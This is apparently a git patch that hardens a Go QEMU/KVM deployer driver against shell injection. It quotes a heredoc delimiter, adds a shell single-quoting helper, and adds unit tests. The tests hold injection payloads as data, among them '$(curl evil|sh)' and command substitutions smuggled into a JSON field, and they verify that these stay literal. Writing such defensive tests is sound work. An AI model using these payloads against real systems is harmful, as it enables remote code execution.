From d504b5a81577d2bb0b0a448b837bd8a9752d80b6 Mon Sep 17 00:00:00 2001 From: Jian Qiu Date: Thu, 3 Sep 2026 10:55:54 +0800 Subject: [PATCH] fix(hostman): harden deployer command execution against shell injection (#25498) - Quote the heredoc delimiter when writing deploy params to the deployer guest, so deploy content, passwords and other user-supplied values are written literally and shell expansions ($(...), backticks, $VAR) inside them are not evaluated by the remote shell - Escape JSON passed via --deploy-params as a single POSIX shell word, preventing single quotes in user data from breaking out of the argument - Add unit tests covering injection payloads Co-authored-by: Qiu Jian Co-authored-by: Claude --- pkg/hostman/diskutils/qemu_kvm/driver.go | 28 +++++-- pkg/hostman/diskutils/qemu_kvm/driver_test.go | 78 +++++++++++++++++++ 2 files changed, 98 insertions(+), 8 deletions(-) create mode 100644 pkg/hostman/diskutils/qemu_kvm/driver_test.go diff --git a/pkg/hostman/diskutils/qemu_kvm/driver.go b/pkg/hostman/diskutils/qemu_kvm/driver.go index 7ba249f501..0f857eef23 100644 --- a/pkg/hostman/diskutils/qemu_kvm/driver.go +++ b/pkg/hostman/diskutils/qemu_kvm/driver.go @@ -419,12 +419,24 @@ func (d *QemuKvmDriver) sshRun(cmd string) ([]string, error) { return d.sshClient.Run(cmd) } +// singleQuote escapes s so that it can be safely embedded as one shell word +// wrapped in single quotes: the remote shell then receives exactly s and +// cannot interpret any of it as shell syntax. +func singleQuote(s string) string { + return "'" + strings.ReplaceAll(s, "'", `'\''`) + "'" +} + +// buildSshFilePutContentCmd builds the command writing content to filePath on +// the remote shell. The heredoc delimiter is quoted, so the content stays +// literal data and shell expansions ($(...), backticks, $VAR) inside it are +// not evaluated. +func buildSshFilePutContentCmd(filePath, content string) string { + return fmt.Sprintf("cat << 'EOF' > %s\n%s\nEOF", filePath, content) +} + func (d *QemuKvmDriver) sshFilePutContent(params interface{}, filePath string) error { jcontent := jsonutils.Marshal(params).String() - jcontent = strings.ReplaceAll(jcontent, "`", "\\`") - cmd := fmt.Sprintf(`cat << EOF > %s -%s -EOF`, filePath, jcontent) + cmd := buildSshFilePutContentCmd(filePath, jcontent) out, err := d.sshRun(cmd) if err != nil { return errors.Wrapf(err, "sshFilePutContent %s", out) @@ -483,7 +495,7 @@ func (d *QemuKvmDriver) ResizeFs(req *apis.ResizeFsParams) (*apis.Empty, error) }() params, _ := json.Marshal(req) - cmd := fmt.Sprintf("%s --deploy-action resize_fs --deploy-params '%s'", DEPLOYER_BIN, params) + cmd := fmt.Sprintf("%s --deploy-action resize_fs --deploy-params %s", DEPLOYER_BIN, singleQuote(string(params))) out, err := d.sshRun(cmd) if err != nil { return nil, errors.Wrapf(err, "run resize_fs failed %s", out) @@ -508,7 +520,7 @@ func (d *QemuKvmDriver) FormatFs(req *apis.FormatFsParams) (*apis.Empty, error) }() params, _ := json.Marshal(req) - cmd := fmt.Sprintf("%s --deploy-action format_fs --deploy-params '%s'", DEPLOYER_BIN, params) + cmd := fmt.Sprintf("%s --deploy-action format_fs --deploy-params %s", DEPLOYER_BIN, singleQuote(string(params))) out, err := d.sshRun(cmd) if err != nil { return nil, errors.Wrapf(err, "run format_fs failed %s", out) @@ -533,7 +545,7 @@ func (d *QemuKvmDriver) SaveToGlance(req *apis.SaveToGlanceParams) (*apis.SaveTo }() params, _ := json.Marshal(req) - cmd := fmt.Sprintf("%s --deploy-action save_to_glance --deploy-params '%s'", DEPLOYER_BIN, params) + cmd := fmt.Sprintf("%s --deploy-action save_to_glance --deploy-params %s", DEPLOYER_BIN, singleQuote(string(params))) out, err := d.sshRun(cmd) if err != nil { return nil, errors.Wrapf(err, "run save_to_glance failed %s", out) @@ -570,7 +582,7 @@ func (d *QemuKvmDriver) ProbeImageInfo(req *apis.ProbeImageInfoPramas) (*apis.Im }() params, _ := json.Marshal(req) - cmd := fmt.Sprintf("%s --deploy-action probe_image_info --deploy-params '%s'", DEPLOYER_BIN, params) + cmd := fmt.Sprintf("%s --deploy-action probe_image_info --deploy-params %s", DEPLOYER_BIN, singleQuote(string(params))) out, err := d.sshRun(cmd) if err != nil { return nil, errors.Wrapf(err, "run probe_image_info failed %s", out) diff --git a/pkg/hostman/diskutils/qemu_kvm/driver_test.go b/pkg/hostman/diskutils/qemu_kvm/driver_test.go new file mode 100644 index 0000000000..0d6c1bbcb1 --- /dev/null +++ b/pkg/hostman/diskutils/qemu_kvm/driver_test.go @@ -0,0 +1,78 @@ +// Copyright 2019 Yunion +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package qemu_kvm + +import ( + "os" + "os/exec" + "path/filepath" + "testing" +) + +func TestSingleQuote(t *testing.T) { + cases := []struct { + in string + want string + }{ + {"", "''"}, + {"simple", "'simple'"}, + {"a b", "'a b'"}, + {"it's", `'it'\''s'`}, + {"$(curl evil|sh)", "'$(curl evil|sh)'"}, + } + for _, c := range cases { + if got := singleQuote(c.in); got != c.want { + t.Errorf("singleQuote(%q) = %q, want %q", c.in, got, c.want) + } + } + + // end-to-end: the quoted value must reach the shell as one literal word + payload := "$(touch /tmp/qemu_kvm_pwn) `id` ; it's" + cmdStr := "printf %s " + singleQuote(payload) + out, err := exec.Command("bash", "-c", cmdStr).Output() + if err != nil { + t.Fatalf("run quoted value: %v", err) + } + if string(out) != payload { + t.Fatalf("quoted value not literal, output %q", string(out)) + } + if _, err := os.Stat("/tmp/qemu_kvm_pwn"); !os.IsNotExist(err) { + t.Fatalf("injection payload was executed") + } +} + +// malicious content written via the heredoc command must stay literal data +// and must not be evaluated by the remote shell +func TestBuildSshFilePutContentCmdInjectionSafe(t *testing.T) { + dir := t.TempDir() + filePath := filepath.Join(dir, "params.json") + payloadFile := filepath.Join(dir, "pwn") + content := `{"content":"$(touch ` + payloadFile + `) ` + "`id`" + ` $HOME"}` + cmdStr := buildSshFilePutContentCmd(filePath, content) + if err := exec.Command("bash", "-c", cmdStr).Run(); err != nil { + t.Fatalf("run heredoc command: %v", err) + } + got, err := os.ReadFile(filePath) + if err != nil { + t.Fatalf("read written file: %v", err) + } + // the heredoc always appends the newline terminating the last content line + if string(got) != content+"\n" { + t.Fatalf("content not literal, got %q", string(got)) + } + if _, err := os.Stat(payloadFile); !os.IsNotExist(err) { + t.Fatalf("injection payload was executed") + } +}